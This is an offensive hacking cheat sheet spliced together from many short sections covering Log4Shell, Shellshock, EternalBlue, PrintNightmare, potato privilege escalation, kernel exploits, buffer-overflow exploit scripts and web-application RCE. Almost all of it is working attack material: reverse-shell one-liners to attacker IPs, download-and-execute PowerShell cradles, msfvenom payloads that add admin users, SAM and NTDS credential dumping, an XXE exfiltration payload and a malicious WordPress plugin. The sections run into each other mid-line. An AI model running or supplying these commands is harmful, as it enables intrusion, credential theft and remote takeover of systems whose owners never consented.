$ java -jar rogue-jndi/target/RogueJndi-1.1.jar --command "nc -e /bin/sh 10.10.10.10 1337" --httpPort 8888 --hostname 10.10.10.10
$ ${jndi:ldap://10.10.10.10/o=tomcat}
=> References
$ https://www.techsolvency.com/story-so-far/cve-2021-44228-log4j-log4shell/
$ https://twitter.com/marcioalm/status/1470361495405875200?s=20
$ https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java
$ https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
$ https://www.sprocketsecurity.com/blog/how-to-exploit-log4j-vulnerabilities-in-vmware-vcenter# Payload
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://10.10.10.10/cgi-bin/test.cgi
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExOS4xMjMvNDQzIDA+JjE= | base64 -d | bash'" http://10.10.10.10/cgi-bin/admin.cgi
# Refernces
https://github.com/opsxcq/exploit-CVE-2014-6271# Affected Version
-> Apache 2.4.49
-> Apache 2.4.50
# References
-> https://github.com/iilegacyyii/PoC-CVE-2021-41773
-> https://www.exploit-db.com/exploits/50406# Commands
git clone https://github.com/helviojunior/MS17-010.git
msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=443 -f exe > eternalblue.exe
nc -nlvp 443
python send_and_execute.py 10.10.10.4 /<fullpath>/eternalblue.exe
python checker.py 10.10.10.10
# Change username if needed for authentication
# References
- https://github.com/helviojunior/MS17-010.git
- https://www.hackers-arise.com/post/2018/11/30/network-forensics-part-2-packet-level-analysis-of-the-eternalblue-exploit# Commands
msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python -v shellcode -a x86 --platform windows
# Replace the b" -> "
nmap -p 139,445 --script-args=unsafe=1 --script /usr/share/nmap/scripts/smb-os-discovery 10.10.10.4 # Check versio
# Replace the shellcode inside the exploit script
# Ensure the payload total would be 410
# "\x90" * (410 - len(shellcode))
# Run Exploit
# 7 -> Windows XP SP3 English (AlwaysOn NX)
python exploit.py 10.10.10.4 7 445
# References
- https://www.exploit-db.com/exploits/40279# Tecnique 1
wget https://github.com/dievus/printspoofer/raw/master/PrintSpoofer.exe
PrintSpoofer.exe -i -c cmd
.\PrintSpoofer.exe -i -c "whoami"
.\PrintSpoofer.exe -i -c "powershell ls"
.\PrintSpoofer.exe -i -c "powershell.exe -e YwBhAHQAIAAvAHUAcwBlAHIAcwAvAGEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIALwBkAGUAcwBrAHQAbwBwAC8AcgBvAG8AdAAuAHQAeAB0AA=="
# Technique 2
##First
git clone https://github.com/CCob/SweetPotato.git
run .sln and compile as .exe (Make sure off anti-virus first)
SweetPotato.exe -p cmd.exe
##Second
git clone https://github.com/uknowsec/SweetPotato.git
run .sln and compile as .exe (Make sure off anti-virus first)
SweetPotato.exe -a "whoami"
# Technique 3
wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t *
# Metasploit
# How to grant this privilege?
powershell -ep bypass
Enable-PSRemoting -Force
Install-Module -Name carbon
Import-Module carbon
Grant-CPrivilege -Identity aniq -Privilege SeBackupPrivilege
Test-CPrivilege -Identity aniq -Privilege SeBackupPrivilege
# Commands (1)
cd c:\
mkdir Temp
reg save hklm\sam c:\Temp\sam
reg save hklm\system c:\Temp\system
cd Temp
download sam
download system
pypykatz registry --sam sam system
# Commands (2)
nano aniq.dsh
-> set context persistent nowriters
-> add volume c: alias aniq
-> create
-> expose %aniq% z:
unix2dos aniq.dsh
cd C:\Temp
upload aniq.dsh
diskshadow /s aniq.dsh
robocopy /b z:\windows\ntds . ntds.dit
reg save hklm\system c:\Temp\system
cd C:\Temp
download ntds.dit
download system
secretsdump.py -ntds ntds.dit -system system local
# References
https://www.hackingarticles.in/windows-privilege-escalation-sebackupprivilege/# Save it in one file
exploit.c
# Compile
sudo apt-get update
sudo apt-get install mingw-w64
i686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32
# Run
exploit.exe
# References
- https://www.exploit-db.com/exploits/40564# Download
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41020.exe
# Usage
exploit.exe
# References
https://www.exploit-db.com/exploits/41020# Download
wget https://github.com/egre55/windows-kernel-exploits/raw/master/MS10-059:%20Chimichurri/Compiled/Chimichurri.exe
# Usage (Reverse Shell)
exploit.exe 10.10.14.16 9002
# References# Download
wget https://github.com/Re4son/Churrasco/raw/master/churrasco.exe
# Usage
churrasco.exe "whoami"
# References
https://www.exploit-db.com/exploits/6705# Download
wget https://github.com/initstring/dirty_sock/archive/master.zip
# Usage
unzip
cd dirty_sock
python3 dirty_sockv2.py
# Then
su dirty_sock
* dirty_sock- If you found chrootkit run in background then you can try this
# Steps
echo "cp /bin/bash /tmp/bash;chmod 4777 /tmp/bash" > /tmp/update
/tmp/bash -p# Download
wget https://raw.githubusercontent.com/g0rx/iis6-exploit-2017-CVE-2017-7269/master/iis6%20reverse%20shell -O exploit.py
# Usage
python exploit.py 10.10.10.10 80 10.10.10.20 443# Payload
msfvenom -p windows/shell_reverse_tcp lhost=tun0 lport=9002 –f msi > install.msi
msfvenom -p windows/x64/shell_reverse_tcp lhost=tun0 lport=9002 –f msi > install.msi
msiexec /quiet /qn /i install.msi# Download
wget https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c
# Compile
gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root
# Usage
./ptrace_traceme_root# Download
wget https://raw.githubusercontent.com/ahervias77/vsftpd-2.3.4-exploit/master/vsftpd_234_exploit.py
# Manually
- Use "user:)" as user and use "pass" as pass
└─▶ ftp 10.10.10.131
Connected to 10.10.10.131.
220 (vsFTPd 2.3.4)
Name (10.10.10.131:root): user:)
331 Please specify the password.
Password: pass
# Usage
└─▶ python3 vsftpd_234_exploit.py 10.150.150.12 21 whoami
[*] Attempting to trigger backdoor...
[+] Triggered backdoor
[*] Attempting to connect to backdoor...
[+] Connected to backdoor on 10.150.150.12:6200
[+] Response:
root
# References
- https://www.programmersought.com/article/18706301160/- Generate weak password in http://sha512crypt.pw/
# Example - password
$6$Zwdp3uo2Hg1HUvlc$wYEAwd5o9C5xQ1yX97izpRp/IhH4Dk1BzgprmQmK2P9/GnYTCIxzpF63/jelcdi6FjSIXxbirfn8o2gR1rHZq0
- replace in root hash
# Commands
su root# Step By Step
1. Get APP_KEY
* APP_KEY=base64:d2PlewM8mV4bhlJZQTqvatC3XWexy+AlMqUwCP6YuKg=
2. Use phpgc (Command)
* ./phpggc Laravel/RCE1 system "id" -b
* ./phpggc Laravel/RCE2 system "id" -b
* ./phpggc Laravel/RCE3 system "id" -b
* ./phpggc Laravel/RCE4 system "id" -b
* ./phpggc Laravel/RCE5 system "id" -b
* ./phpggc Laravel/RCE6 system "id" -b
* ./phpggc Laravel/RCE7 system "id" -b
3. Use the CVE php script
* ./cve-2018-15133.php <base64encoded_APP_KEY> <base64encoded-payload>
4. Put it in cookie (POST)
# Notes
-> Remember on gadgetchains/Laravel/RCE, there is others that you can try
# References
https://github.com/kozmic/laravel-poc-CVE-2018-15133
https://snyk.io/vuln/SNYK-PHP-LARAVELFRAMEWORK-174581# Save as exploit.pl
https://www.exploit-db.com/exploits/48051
# Usage
perl exploit.pl LPE #local
perl exploit.pl RCE 10.0.0.162 10.0.0.24 example.org# Payload
~! <command>
~! bash
# Referemces
https://github.com/fail2ban/fail2ban/security/advisories/GHSA-m985-3f3v-cwmm
https://hackmyvm.eu/machines/machine.php?vm=Texte# Downloads
https://raw.githubusercontent.com/roughiz/lfito_rce/master/lfito_rce.py
# Commands
-> python lfito_rce.py -l "http://10.10.10.10/test.php?page=" --lhost 10.10.10.9 --lport 9001 -i "http://10.10.10.105/info.php" -t 100 -a 1 --payload 2 --verbose true
# References
-> https://rafalharazinski.gitbook.io/security/other-web-vulnerabilities/local-remote-file-inclusion/phpinfo-log-race-condition
=> https://raw.githubusercontent.com/VineshChauhan24/LFI-phpinfo-RCE/master/exploit.py# Download
https://github.com/exrienz/DirtyCow
# Usage
gcc -pthread dirty.c -o dirty -lcrypt
./dirty password# Kernel
# <= 2.6.36-rc8
- https://www.exploit-db.com/exploits/15285
# < 2.6.37
- https://www.exploit-db.com/exploits/15704
# < 3.10
- https://www.exploit-db.com/exploits/18411
* https://github.com/lucyoa/kernel-exploits/tree/master/memodipper
# < 3.19
- https://www.exploit-db.com/exploits/37292
# = 3.2.0.23 (Ubuntu 12.04)
- https://www.exploit-db.com/exploits/33589
# <= 4.4.0-116
- https://www.exploit-db.com/exploits/44298
# < 5.11
- https://github.com/briskets/CVE-2021-3493
# References
-> https://github.com/evait-security/ClickNRoot (Kernel Exploit)# Vulnerable Versions
- Within versions 3.5.0 and before 4.6.4, 4.5.10 and 4.4.14.
# Downloads
https://github.com/joxeankoret/CVE-2017-7494
# Commands (Metasploit)
use linux/samba/is_known_pipename
set SMB::AlwaysEncrypt false
set SMB::ProtocolVersion 1
set rhosts 10.10.10.10
# Commands Manual
# References
- https://bond-o.medium.com/sambacry-rce-cve-2017-7494-41c3dcc0b7ae# References
- https://motasem-notes.net/how-to-test-if-your-exchange-server-is-compromised-and-vulnerable/
- https://github.com/microsoft/CSS-Exchange/tree/main/Security
- https://www.picussecurity.com/resource/blog/ttps-hafnium-microsoft-exchange-servers# Download
https://github.com/afwu/PrintNightmare
# Check If vulnerable (If Got Values)
rpcdump.py @10.10.120.242 | egrep 'MS-RPRN|MS-PAR'
# Sysmon (Look into)
- Event 11 -> spoolsv.exe Writing
- Event 23 -> Deleting .dll files on C:\Windows\System32\spool\drivers\x64\*
# Disabling Print Spooler Service
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
# Monitor
- Log entries in Microsoft-Windows-PrintService/Admin
# Enabled
- Microsoft-Windows-PrintService/Operational logging
# Detection References
https://github.com/LaresLLC/CVE-2021-1675
# Exploit (https://github.com/cube0x0/CVE-2021-1675)
msfvenom -p windows/x64/exec CMD='cmd.exe /k "net localgroup administrators username /add"' EXITFUNC=none RC4PASSWORD=S3cr3tP4sw0rdz123 -f dll -o payload.dll
.\SharpPrintNightmare.exe C:\Users\username\Documents\payload.dll
-> Make sure read the installation first.
# Local
IEX(New-Object Net.Webclient).downloadstring('http://10.10.14.6/payload.ps1')
Invoke-Nightmare -NewUser "username" -NewPassword "password"
# Remote
msfvenom -p windows/x64/exec CMD='cmd.exe /k "net user /add test123 test123 && net localgroup administrators test123 /add"' EXITFUNC=none -f dll -o payload.dll
./CVE-2021-1675.py bank.local/username:[email protected] 'C:\Users\users\Documents\payload.dll'
# Detect
REG QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint"
# References
https://msandbu.org/printnightmare-cve-2021-1675/
https://www.huntress.com/blog/critical-vulnerability-printnightmare-exposes-windows-servers-to-remote-code-execution
https://community.carbonblack.com/t5/Query-Exchange/Finding-Registry-Keys-Used-for-PrintNightmare-CVE-2021-34527/idi-p/105368=======Setup mona.py=======
# Download mona.py
wget https://raw.githubusercontent.com/corelan/mona/master/mona.py
# Upload into the machine
certutil -URLCache -f http://10.10.10.10/mona.py mona.py
# Put into Immunity Debugger Folder
C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands\mona.py
@
C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands\mona.py
# Run Immunity Debugger and config mona (Make sure run as Administrator)
!mona config -set workingfolder c:\mona\%p
=======Mona Commands=======
# Config Mona
!mona config -set workingfolder c:\mona\%p
# Create bytearray
!mona bytearray -b "\x00" # BadCharacter
# Find Offset with length of pattern created
!mona findmsp -distance 2400
# Compare bad characters with ESP
!mona compare -f C:\mona\binary\bytearray.bin -a 0124FA18 #ESP
# Find the jump point
!mona jmp -r esp -cpb "\x00\x0a" # BadCharacter
=======Fuzzing (fuzzer.py)=======
import socket, time, sys
ip = "192.168.0.195"
port = 31337
timeout = 5
strings = b"A" * 50
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((ip,port))
s.send(strings + b"\r\n")
print(s.recv(1024))
except:
print("Fuzzing crashed at {} bytes".format(len(strings)))
sys.exit(0)
strings += b"A" * 50
time.sleep(1)
=======Finding offset=======
msf-pattern_create -l 150 # Create Pattern
!mona findmsp -distance 150 # Mona commands to find offset
# crash.py
import socket, time, sys
ip = "192.168.0.195"
port = 31337
payload = b"<PATTERN HERE>"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
s.send(payload + b"\r\n")
print(s.recv(1024))
# crash2.py
import socket, time, sys
ip = "192.168.0.195"
port = 31337
offset = 146
overflow = b"A" * offset
retrn = b"BBBB"
payload = overflow + retrn
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
s.send(payload + b"\r\n")
print(s.recv(1024))
=======Finding Bad Characters & Jump Point=======
!mona bytearray -b "\x00" # Generate Bytearray
!mona compare -f C:\mona\gatekeeper\bytearray.bin -a 020C19F8 # Check bad character we found
!mona jmp -r esp -cpb "\x00\x0a" # Find jump point
# badchar.py
print("\t----------------------")
print("\t| BAD CHARACTER |")
print("\t----------------------")
print("\n[+] Example No Badchar (Please include \\x00) => Enter Bad Characters: \\x00")
print("[+] Example Got Badchar => Enter Bad Characters: \\x02\\x03\\x04")
INPUTS = raw_input("\n[+] Enter Bad Characters: ")
OUTPUT_INPUTS = r"{0}".format(INPUTS)
LISTREM = INPUTS.split("\\x")
LISTBADCHAR = r""
for x in range(1,256):
if "{:02x}".format(x) not in LISTREM:
LISTBADCHAR += r"\x" + "{:02x}".format(x)
print(LISTBADCHAR)
# badchar_check.py
import socket, time, sys
ip = "192.168.0.195"
port = 31337
offset = 146
overflow = b"A" * offset
retrn = b"BBBB"
strings = b"<PUT BADCHAR HERE>"
payload = overflow + retrn + strings
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
s.send(payload + b"\r\n")
print(s.recv(1024))
=======Final=======
# msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=eth0 LPORT=443 -b '\x00\x0a' EXITFUNC=thread -f python -v strings
msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -b '\x00\x0a' EXITFUNC=thread -f python -v strings
# exploit.py
import socket, time, sys
ip = "192.168.0.195"
port = 31337
offset = 146
overflow = b"A" * offset
retrn = b"\xc3\x14\x04\x08"
strings = b""
strings += b"\xbf\xa3\xe1\x47\xc1\xda\xd7\xd9\x74\x24\xf4\x5e"
# <MORE PAYLOAD>
padding = b"\x90" * 16
payload = overflow + retrn + padding + strings
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
s.send(payload + b"\r\n")
print(s.recv(1024))
=======References=======
https://medium.com/swlh/tryhackme-buffer-overflow-prep-9b2ece17a13c
https://veteransec.com/2018/09/10/32-bit-windows-buffer-overflows-made-easy/
https://github.com/freddiebarrsmith/Buffer-Overflow-Exploit-Development-Practice.git# Download
https://github.com/AmIAHuman/CVE-2021-33909
# Usage
gcc exploit.c -o exploit
chmod +x exploit
./exploit
# References
https://blog.qualys.com/vulnerabilities-threat-research/2021/07/20/sequoia-a-local-privilege-escalation-vulnerability-in-linuxs-filesystem-layer-cve-2021-33909
https://github.com/AmIAHuman/CVE-2021-33909# Steps
1. Set Payload
msfvenom -p linux/x64/shell/reverse_tcp LHOST=10.10.10.10 LPORT=1234 -f elf-so -o shell.so
2. Transfer to Target
curl 10.10.10.10/shell.so -o /tmp/shell.so
3. Listen
nc -lnvp 1234
4. Execute the payload
mysql -u root -p
SET GLOBAL wsrep_provider="/tmp/shell.so";
# References
https://github.com/Al1ex/CVE-2021-27928
# Steps
-> Ensure /etc/gshadow is writable
-> Put current user to the sudo group
* sudo:*::username
-> newgrp sudo (login to sudo group)
-> sudo bash
# References
https://nepcodex.com/2021/10/tranquil-writeup-hackmyvm-walkthrough/# Commands
python struts-pwn.py --url 'http://example.com/struts2-showcase/index.action' -c 'id'
# Checking
python struts-pwn.py --check --url 'http://example.com/struts2-showcase/index.action'
# References
https://github.com/mazen160/struts-pwn# Moodlescan
https://github.com/inc0d3/moodlescan
python3 moodlescan.py -u http://10.10.10.10/moodle
# Manual Check version
http://10.10.10.10/moodle/composer.lock
# Exploit 3.4.1
https://raw.githubusercontent.com/darrynten/MoodleExploit/master/MoodleExploit.php
-> php MoodleExploit.php url=http://10.10.10.10/moodle user=username pass=password ip=10.10.10.11 port=4444 course=2 debug=true
-> /*{a*/`$_GET[0]`;//{x}}
-> &0=<REVERSE SHELL>
# Wpscan
wpscan --url https://10.10.10.10/blog/ -e u,vp --disable-tls-checks
wpscan --url http://10.10.10.10/blog/ -e u --passwords rockyou.txt
wpscan --url http://10.10.10.10/ --usernames kwheel,bjoel --passwords rockyou.txt
# Location
/wp-content/plugins/
# Default Credentials
admin:password
wordpress:wordpress
root:toor
# Reverse Shell
## Plugins
<?php
/**
* Plugin Name: Reverse Shell Plugin
* Plugin URI:
* Description: Reverse Shell Plugin
* Version: 1.0
* Author: H0j3n
* Author URI: https://h0j3n.blog/
*/
exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.10.10/443 0>&1'");
?>
- save as shell.php
- zip shell.zip shell.php
# Manual Plugin Fuzing
-> Scraping All Plugins
-> curl -s -k http://plugins.svn.wordpress.org/ | grep -i href| grep -i li | cut -d"\"" -f2 > plugins.txt
# Plugins Vulnerable
##===CVE-2014-2383===
- /wp-content/plugins/post-pdf-export/images/download-icon.png
- /dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwd
- https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2383/
##===CVE-2021-29447===
1. Create evil.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.4.3.51/?p=%file;'>" >
2. Create payload.wav
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.4.3.51/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
3. Host
php -S 0.0.0.0:80
4. Upload payload.wav to wordpress
5. Look at php server
- https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/# Download Exploit Here
wget https://raw.githubusercontent.com/TheRealHetfield/exploits/master/nibbleBlog_fileUpload.py
# Commands
#==Manual==
# Step 1:
- Go to http://10.10.10.10/nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image
- Upload php reverse shell
# Step 2
- Listening
- Go to http://10.10.10.10/nibbleblog/content/private/plugins/my_image/image.php# Links
- https://www.exploit-db.com/exploits/49125
* python3 exploit3.py 10.10.10.10 80 "c:\windows\system32\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.11/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.11 -Port 443"
* python3 exploit3.py 10.10.10.10 80 "C:\Users\kostas\Desktop\nc.exe -e cmd.exe 10.10.10.11 443"
- https://www.exploit-db.com/exploits/39161
* Change lhost,lport
- https://www.exploit-db.com/exploits/49584
* Change lhost,lport,rhost,rport (Depends windows version)=> Scanner
$
=> References
$ https://www.itoctopus.com/how-to-quickly-know-the-version-of-any-joomla-website
$ https://www.exploit-db.com/docs/english/22763-guidelines-for-pentesting-a-joomla-based-site.pdf# Scanner
## drupwn
git clone https://github.com/immunIT/drupwn.git
python3 -m pip install -r requirements.txt
./drupwn --target http://10.10.10.9/ --mode enum
##droopescan
droopescan scan drupal -u http://10.10.10.9/
# 7.x Exploit
https://www.exploit-db.com/exploits/41564
searchsploit -x php/webapps/44449.rb > exploit.rb
- ruby exploit.rb http://10.10.10.10./ --verbose# Download
searchsploit -x php/webapps/18650.py > output.py
# Usage
- Change lport
- Run
# Lfi
/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action# SQL Injection
https://www.exploit-db.com/exploits/46635
# Usage
python exploit.py -u http://10.10.10.10/writeup# Download
git clone https://github.com/noraj/Umbraco-RCE.git
# Usage
python exploit.py -u '[email protected]' -p 'password' -i http://10.10.10.10 -c powershell.exe -a 'whoami'# Metasploit Module
use multi/http/playsms_uploadcsv_exec# File Traversal - Better use burpsuite
- http://IP:PORT/<Anything>/../../ThinVnc.ini# File Upload RCE
https://www.exploit-db.com/exploits/49445
# References
https://www.sourcecodester.com/php/12306/voting-system-using-php.html# File location
/var/www/osticket/upload/include/ost_config.php# Wordlists
locate sharepoint | grep txt
/pathto/SecLists/Discovery/Web-Content/CMS/sharepoint.txt
/usr/share/dirb/wordlists/vulns/sharepoint.txt
/usr/share/wfuzz/wordlist/vulns/sharepoint.txt
/usr/share/windows-resources/powersploit/Recon/Dictionaries/sharepoint.txt
# User Enumeration
http://example.com/_layouts/userdisp.aspx?id=1
http://example.com/_layouts/15/userdisp.aspx?id=1
http://example.com/site/path/_layouts/15/userdisp.aspx?id=1
http://example.com/site/path/_layouts/userdisp.aspx?id=1
# Web Services
http://example.com/_vti_bin/spsdisco.aspx
# References
https://hackingprofessional.github.io/HTB/Hacking-a-sharepoint-website/
https://the-infosec.com/2017/04/18/penetration-testing-sharepoint/
https://www.crummie5.club/the-lone-sharepoint/
https://www.mdsec.co.uk/2020/03/a-security-review-of-sharepoint-site-pages/
https://www.defcon.org/images/defcon-11/dc-11-presentations/dc-11-Shannon/presentations/dc-11-shannon.pdf
https://pentest-tools.com/public/sample-reports/sharepoint-scan-sample-report.pdf
https://trojand.com/cheatsheet/Methodologies/Sharepoint.html
http://sparty.secniche.org/
https://hackmag.com/security/sharepoint-serving-the-hacker/
https://github.com/helloitsliam/Hacking/blob/master/SharePoint-URLs
https://github.com/bhasbor/SharePointURLBrute-v1.1/blob/master/SharePoint-UrlExtensions-18Mar2012.txt
https://www.youtube.com/watch?v=aXFnO_PzaIw# Exploit
https://www.exploit-db.com/exploits/39161
https://www.exploit-db.com/exploits/49584
# Payload (UrlEncode)
# Execute File
?search=%00{.exec%7Cwscript.exe%20//B%20//NOLOGO%20%25TEMP%25%5Cpayload.vbs.}
# Payload (UrlDecode)
# Execute File
?search= {.exec|wscript.exe //B //NOLOGO %TEMP%\payload.vbs.}# PhreeBooks 5.2.3 ERP - Remote Code Execution
https://www.exploit-db.com/exploits/49524
https://www.exploit-db.com/exploits/46645# Decrypt
https://github.com/gquere/mRemoteNG_password_decrypt
https://github.com/haseebT/mRemoteNG-Decrypt.git
# Commands
python3 mremoteng_decrypt.py -s "<BASE64>"# < 1.290
https://www.exploit-db.com/exploits/2017
## Commands
perl exploit.pl 10.10.10.10 10000 /etc/passwd 0# Bruteforce hydra
hydra -l admin -P rockyou.txt 10.10.10.10 -s 30609 http-post-form
"/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:F=loginError"
# Reverse shell (Linux)
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.10.10/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
# Location
/etc/gitea
# Reverse Shell
- Choose one repo
- Go to Git Hooks
- Put reverse shell in contents of Post-receive
#!/bin/bash
bash -i >& /dev/tcp/10.4.3.51/443 0>&1
- git clone, git add . and git commit.
# Database (Change Password)
sqlite3 database.db
select passwd from user;
select passwd_hash_algo from user;
select
# Database (Change is_admin)
sqlite3 database.db
select id,name,is_admin from user;
update user set is_admin=1 where id=3;=> Download
$ https://www.exploit-db.com/exploits/50070
=> Commands
$ python3 exploit.py listApps 10.10.10.10
$ python3 exploit.py listFiles 10.10.10.10
$ python3 exploit.py listAppsSdcard 10.10.10.10
$ python3 exploit.py getDeviceInfo 10.10.10.10
$ python3 exploit.py listAppsPhone 10.10.10.10
$ python3 exploit.py listPics 10.10.10.10
=> References
$ https://medium.com/@knownsec404team/analysis-of-es-file-explorer-security-vulnerability-cve-2019-6447-7f34407ed566# RCE
https://www.exploit-db.com/exploits/50239
=> python3 exploit.py http://localhost/# Laravel Debug RCE (CVE-2021-3129)
https://github.com/zhzyker/CVE-2021-3129
=> python3 exp.py http://localhost:8000/
=> To get reverse shell change `id` to any reverse shell# crt.sh (@vict0ni)
curl -k -s "https://crt.sh/?q=example&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u
# Archive (@pikpikcu)
curl -s "http://web.archive.org/cdx/search/cdx?url=*.example.com/*&output=text&fl=original&collapse=urlkey" | sed -e 's_https*://__' -e "s/\/.*//" | sort -u
# References
https://reposhub.com/python/learning-tutorial/dwisiswant0-awesome-oneliner-bugbounty.html# ConPtyShell (Interactive Powershell)
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("cmd /c powershell -c iex(new-object net.webclient).downloadstring('http://10.10.10.10/Invoke-PowerShellTcp.ps1')")
o = cmd.StdOut.Readall()
Response.write(o)
%>
-->- https://github.com/swisskyrepo/PayloadsAllTheThings
- https://book.hacktricks.xyz/
- https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70
- https://zer1t0.gitlab.io/posts/attacking_ad/
- https://pentestbook.six2dez.com/
- https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/
- https://github.com/vulhub/vulhub
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